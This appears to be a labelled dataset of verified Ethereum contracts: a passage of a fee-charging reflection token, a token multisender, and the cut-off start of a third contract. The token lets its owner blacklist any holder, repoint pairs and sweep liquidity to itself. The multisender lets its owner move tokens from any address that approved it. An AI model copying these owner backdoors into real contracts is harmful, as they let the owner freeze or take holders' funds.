uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract M is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000 * 10**9; //1T
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "Money Capital";
string private _symbol = "M";
uint8 private _decimals = 9;
uint256 public _taxFee = 2;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 8;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _liquidityFeeOnBuy = 0;
uint256 public _taxFeeOnBuy = 10;
uint256 public _liquidityFeeOnSell = 8;
uint256 public _taxFeeOnSell = 2;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
address payable public _MWalletAddress = 0x48A67fc45d5224690eB418c7d88f90d68a44482d;
address payable public _marketingWalletAddress = 0x3ca6a576e8A9aCdeAA916E07D62827Bc18f146cF;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxTxAmount = 5000000000 * 10**9; //5B
uint256 public numTokensSellToAddToLiquidity = 5000000 * 10**9; //5M
mapping (address => bool) private _liquidityHolders;
mapping (address => bool) private _isSniper;
bool public _hasLiqBeenAdded = false;
uint256 private _liqAddBlock = 0;
uint256 private snipeBlockAmt;
uint256 public snipersCaught = 0;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SniperCaught(address sniperAddress);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
modifier onlyPair() {
require(
msg.sender == uniswapV2Pair,
"Empire::onlyPair: Insufficient Privileges"
);
_;
}
constructor (uint256 _snipeBlockAmt) public {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcluded[uniswapV2Pair] = true;
_excluded.push(uniswapV2Pair);
snipeBlockAmt = _snipeBlockAmt;
addLiquidityHolder(msg.sender);
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function getCirculatingSupply() public view returns (uint256) {
return totalSupply().sub(balanceOf(address(0x000000000000000000000000000000000000dEaD)).sub(balanceOf(address(0x0000000000000000000000000000000000000000))));
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setMaxTx(uint256 maxTx) external onlyOwner() {
_maxTxAmount = maxTx;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function sendETHToCapitalFund(uint256 amount) private {
swapTokensForEth(amount);
_marketingWalletAddress.transfer(address(this).balance.div(2));
_MWalletAddress.transfer(address(this).balance);
}
function _setMWallet(address payable mAddress) external onlyOwner() {
_marketingWalletAddress = mAddress;
}
function _setCWallet(address payable cAddress) external onlyOwner() {
_MWalletAddress = cAddress;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[from], "ERC20: snipers can not transfer");
require(!_isSniper[to], "ERC20: snipers can not transfer");
require(!_isSniper[msg.sender], "ERC20: snipers can not transfer");
if (!_hasLiqBeenAdded) {
_checkLiquidityAdd(from, to);
} else {
if (_liqAddBlock > 0
&& from == uniswapV2Pair
&& !_liquidityHolders[from]
&& !_liquidityHolders[to]
) {
if (block.number - _liqAddBlock < snipeBlockAmt) {
_isSniper[to] = true;
snipersCaught ++;
emit SniperCaught(to); //pow
}
}
}
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
//add liquidity
swapAndLiquify(contractTokenBalance);
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
//if buy order
if(from == uniswapV2Pair) {
_liquidityFee = _liquidityFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//if not buy
if(from != uniswapV2Pair) {
_liquidityFee = _liquidityFeeOnSell;
_taxFee = _taxFeeOnSell;
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// split the contract balance into thirds
uint256 halfOfLiquify = contractTokenBalance.div(4);
uint256 otherHalfOfLiquify = contractTokenBalance.div(4);
uint256 portionForFees = contractTokenBalance.sub(halfOfLiquify).sub(otherHalfOfLiquify);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(halfOfLiquify); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to uniswap
addLiquidity(otherHalfOfLiquify, newBalance);
sendETHToCapitalFund(portionForFees);
emit SwapAndLiquify(halfOfLiquify, newBalance, otherHalfOfLiquify);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _checkLiquidityAdd(address from, address to) private {
require(!_hasLiqBeenAdded, "Liquidity already added and marked.");
if (_liquidityHolders[from] && to == uniswapV2Pair) {
_hasLiqBeenAdded = true;
_liqAddBlock = block.number;
}
}
function isSniperCheck(address account) public view returns (bool) {
return _isSniper[account];
}
function isLiquidityHolderCheck(address account) public view returns (bool) {
return _liquidityHolders[account];
}
function addSniper(address sniperAddress) public onlyOwner() {
require(sniperAddress != uniswapV2Pair, "ERC20: Can not add uniswapV2Pair to sniper list");
require(sniperAddress != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20: Can not add uniswapV2Router to sniper list");
_isSniper[sniperAddress] = true;
_isExcluded[sniperAddress] = true;
_excluded.push(sniperAddress);
}
function removeSniper(address sniperAddress) public onlyOwner() {
require(_isSniper[sniperAddress], "ERC20: Is not sniper");
_isSniper[sniperAddress] = false;
}
function addLiquidityHolder(address liquidityHolder) public onlyOwner() {
_liquidityHolders[liquidityHolder] = true;
}
function removeLiquidityHolder(address liquidityHolder) public onlyOwner() {
_liquidityHolders[liquidityHolder] = false;
}
// We are exposing these functions to be able to manual swap and send
// in case the token is highly valued and 5M becomes too much
function manualSwap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToTeam(contractETHBalance);
}
function setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 1 && taxFee <= 25, 'taxFee should be in 1 - 25');
_taxFee = taxFee;
}
function setLiquidityFee(uint256 liquidityFee) external onlyOwner() {
require(liquidityFee >= 1 && liquidityFee <= 25, 'liquidityFee should be in 1 - 25');
_liquidityFee = liquidityFee;
}
function setLiquidityFeeOnBuy(uint256 liquidityFee) external onlyOwner() {
require(liquidityFee >= 1 && liquidityFee <= 25, 'liquidityFee should be in 1 - 25');
_liquidityFeeOnBuy = liquidityFee;
}
function setLiquidityFeeOnSell(uint256 liquidityFee) external onlyOwner() {
require(liquidityFee >= 1 && liquidityFee <= 25, 'liquidityFee should be in 1 - 25');
_liquidityFeeOnSell = liquidityFee;
}
function setTaxFeeOnBuy(uint256 liquidityFee) external onlyOwner() {
require(liquidityFee >= 1 && liquidityFee <= 25, 'liquidityFee should be in 1 - 25');
_taxFeeOnBuy = liquidityFee;
}
function setTaxFeeOnSell(uint256 liquidityFee) external onlyOwner() {
require(liquidityFee >= 1 && liquidityFee <= 25, 'liquidityFee should be in 1 - 25');
_taxFeeOnSell = liquidityFee;
}
function sendETHToTeam(uint256 amount) private {
_MWalletAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function changeLiquidityPair(address _pair) public onlyOwner() {
uniswapV2Pair = _pair;
}
function changeRouter(address _router) public onlyOwner() {
uniswapV2Router = IUniswapV2Router02(_router);
}
function changeMinSell(uint256 _minSell) public onlyOwner() {
numTokensSellToAddToLiquidity = _minSell;
}
function upgradePair(IEmpireFactory _factory) external onlyOwner() {
PairType pairType =
address(this) < uniswapV2Router.WETH()
? PairType.SweepableToken1
: PairType.SweepableToken0;
uniswapV2Pair = _factory.createPair(uniswapV2Router.WETH(), address(this), pairType, 0);
}
function sweep(uint256 amount, bytes calldata data) external onlyOwner() {
IEmpirePair(uniswapV2Pair).sweep(amount, data);
}
function empireSweepCall(uint256 amount, bytes calldata) external onlyPair() {
IERC20(uniswapV2Router.WETH()).transfer(owner(), amount);
}
function unsweep(uint256 amount) external onlyOwner() {
IERC20(uniswapV2Router.WETH()).approve(uniswapV2Pair, amount);
IEmpirePair(uniswapV2Pair).unsweep(amount);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-08-08
*/
pragma solidity ^0.4.26;
library ERC20AsmFn {
function isContract(address addr) internal view {
assembly {
if iszero(extcodesize(addr)) { revert(0, 0) }
}
}
function handleReturnData() internal pure returns (bool result) {
assembly {
switch returndatasize()
case 0 { // not a std erc20
result := 1
}
case 32 { // std erc20
returndatacopy(0, 0, 32)
result := mload(0)
}
default { // anything else, should revert for safety
revert(0, 0)
}
}
}
function asmTransfer(address _erc20Addr, address _to, uint256 _value) internal returns (bool result) {
// Must be a contract addr first!
isContract(_erc20Addr);
// call return false when something wrong
require(_erc20Addr.call(bytes4(keccak256("transfer(address,uint256)")), _to, _value));
// handle returndata
return handleReturnData();
}
function asmTransferFrom(address _erc20Addr, address _from, address _to, uint256 _value) internal returns (bool result) {
// Must be a contract addr first!
isContract(_erc20Addr);
// call return false when something wrong
require(_erc20Addr.call(bytes4(keccak256("transferFrom(address,address,uint256)")), _from, _to, _value));
// handle returndata
return handleReturnData();
}
function asmApprove(address _erc20Addr, address _spender, uint256 _value) internal returns (bool result) {
// Must be a contract addr first!
isContract(_erc20Addr);
// call return false when something wrong
require(_erc20Addr.call(bytes4(keccak256("approve(address,uint256)")), _spender, _value));
// handle returndata
return handleReturnData();
}
}
interface ERC20 {
function balanceOf(address who) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
}
// File: contracts/EternalStorage.sol
// Roman Storm Multi Sender
// To Use this Dapp: https://rstormsf.github.io/multisender
pragma solidity 0.4.26;
/**
* @title EternalStorage
* @dev This contract holds all the necessary state variables to carry out the storage of any contract.
*/
contract EternalStorage {
mapping(bytes32 => uint256) internal uintStorage;
mapping(bytes32 => string) internal stringStorage;
mapping(bytes32 => address) internal addressStorage;
mapping(bytes32 => bytes) internal bytesStorage;
mapping(bytes32 => bool) internal boolStorage;
mapping(bytes32 => int256) internal intStorage;
}
// File: contracts/UpgradeabilityOwnerStorage.sol
// Roman Storm Multi Sender
// To Use this Dapp: https://rstormsf.github.io/multisender
pragma solidity 0.4.26;
/**
* @title UpgradeabilityOwnerStorage
* @dev This contract keeps track of the upgradeability owner
*/
contract UpgradeabilityOwnerStorage {
// Owner of the contract
address private _upgradeabilityOwner;
/**
* @dev Tells the address of the owner
* @return the address of the owner
*/
function upgradeabilityOwner() public view returns (address) {
return _upgradeabilityOwner;
}
/**
* @dev Sets the address of the owner
*/
function setUpgradeabilityOwner(address newUpgradeabilityOwner) internal {
_upgradeabilityOwner = newUpgradeabilityOwner;
}
}
// File: contracts/UpgradeabilityStorage.sol
// Roman Storm Multi Sender
// To Use this Dapp: https://rstormsf.github.io/multisender
pragma solidity 0.4.26;
/**
* @title UpgradeabilityStorage
* @dev This contract holds all the necessary state variables to support the upgrade functionality
*/
contract UpgradeabilityStorage {
// Version name of the current implementation
string internal _version;
// Address of the current implementation
address internal _implementation;
/**
* @dev Tells the version name of the current implementation
* @return string representing the name of the current version
*/
function version() public view returns (string) {
return _version;
}
/**
* @dev Tells the address of the current implementation
* @return address of the current implementation
*/
function implementation() public view returns (address) {
return _implementation;
}
}
// File: contracts/OwnedUpgradeabilityStorage.sol
// Roman Storm Multi Sender
// To Use this Dapp: https://rstormsf.github.io/multisender
pragma solidity >=0.4.26;
/**
* @title OwnedUpgradeabilityStorage
* @dev This is the storage necessary to perform upgradeable contracts.
* This means, required state variables for upgradeability purpose and eternal storage per se.
*/
contract OwnedUpgradeabilityStorage is UpgradeabilityOwnerStorage, UpgradeabilityStorage, EternalStorage {}
// File: contracts/SafeMath.sol
// Roman Storm Multi Sender
// To Use this Dapp: https://rstormsf.github.io/multisender
pragma solidity 0.4.26;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/multisender/Ownable.sol
// Roman Storm Multi Sender
// To Use this Dapp: https://rstormsf.github.io/multisender
pragma solidity 0.4.26;
/**
* @title Ownable
* @dev This contract has an owner address providing basic authorization control
*/
contract Ownable is EternalStorage {
/**
* @dev Event to show ownership has been transferred
* @param previousOwner representing the address of the previous owner
* @param newOwner representing the address of the new owner
*/
event OwnershipTransferred(address previousOwner, address newOwner);
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner());
_;
}
/**
* @dev Tells the address of the owner
* @return the address of the owner
*/
function owner() public view returns (address) {
return addressStorage[keccak256("owner")];
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner the address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
setOwner(newOwner);
}
/**
* @dev Sets a new owner address
*/
function setOwner(address newOwner) internal {
emit OwnershipTransferred(owner(), newOwner);
addressStorage[keccak256("owner")] = newOwner;
}
}
// File: contracts/multisender/Claimable.sol
// Roman Storm Multi Sender
// To Use this Dapp: https://rstormsf.github.io/multisender
pragma solidity 0.4.26;
/**
* @title Claimable
* @dev Extension for the Ownable contract, where the ownership needs to be claimed.
* This allows the new owner to accept the transfer.
*/
contract Claimable is EternalStorage, Ownable {
function pendingOwner() public view returns (address) {
return addressStorage[keccak256("pendingOwner")];
}
/**
* @dev Modifier throws if called by any account other than the pendingOwner.
*/
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner());
_;
}
/**
* @dev Allows the current owner to set the pendingOwner address.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
addressStorage[keccak256("pendingOwner")] = newOwner;
}
/**
* @dev Allows the pendingOwner address to finalize the transfer.
*/
function claimOwnership() public onlyPendingOwner {
emit OwnershipTransferred(owner(), pendingOwner());
addressStorage[keccak256("owner")] = addressStorage[keccak256("pendingOwner")];
addressStorage[keccak256("pendingOwner")] = address(0);
}
}
// File: contracts/multisender/UpgradebleStormSender.sol
// Roman Storm Multi Sender
// To Use this Dapp: https://rstormsf.github.io/multisender
pragma solidity 0.4.26;
contract UpgradebleStormSender is OwnedUpgradeabilityStorage, Claimable {
using SafeMath for uint256;
using ERC20AsmFn for ERC20;
event Multisended(uint256 total, address tokenAddress);
function() public payable {}
function initialize(address _owner) public {
require(!initialized());
setOwner(_owner);
setArrayLimit(200);
boolStorage[keccak256("rs_multisender_initialized")] = true;
}
function initialized() public view returns (bool) {
return boolStorage[keccak256("rs_multisender_initialized")];
}
function arrayLimit() public view returns(uint256) {
return uintStorage[keccak256("arrayLimit")];
}
function setArrayLimit(uint256 _newLimit) public onlyOwner {
require(_newLimit != 0);
uintStorage[keccak256("arrayLimit")] = _newLimit;
}
function multisendToken(address token, address[] fromArray, address[] toArray, uint256[] amountArray) public onlyOwner payable {
require(fromArray.length <= arrayLimit());
require(fromArray.length == toArray.length);
require(fromArray.length == amountArray.length);
uint256 total = 0;
ERC20 erc20token = ERC20(token);
uint8 i = 0;
for (i; i < fromArray.length; i++) {
require(erc20token.asmTransferFrom(fromArray[i],toArray[i],amountArray[i]));
total += amountArray[i];
}
emit Multisended(total, token);
}
function multisendEther(address[] toArray, uint256[] amountArray) public onlyOwner payable {
require(toArray.length <= arrayLimit());
uint256 total = 0;
uint8 i = 0;
for (i; i < toArray.length; i++) {
toArray[i].transfer(amountArray[i]);
total += amountArray[i];
}
emit Multisended(total, 0x000000000000000000000000000000000000bEEF);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-11-22
*/
/*
,--.
,-| |-.,--. ,--. ,---. ,--. ,--.
| | |-'| `.' |' .-' | ,---. `--',--.--.,--. ,--.,---.
'-| |`\| |'.'| |`. `-. | .-. |,--.| .--' \ ' /| .-. |
.--| | /| | | |.-' || | | || || | \ ' ' '-' '
`--| |' `--' `--'`-----' `--' `--'`--'`--' .-' / `---'
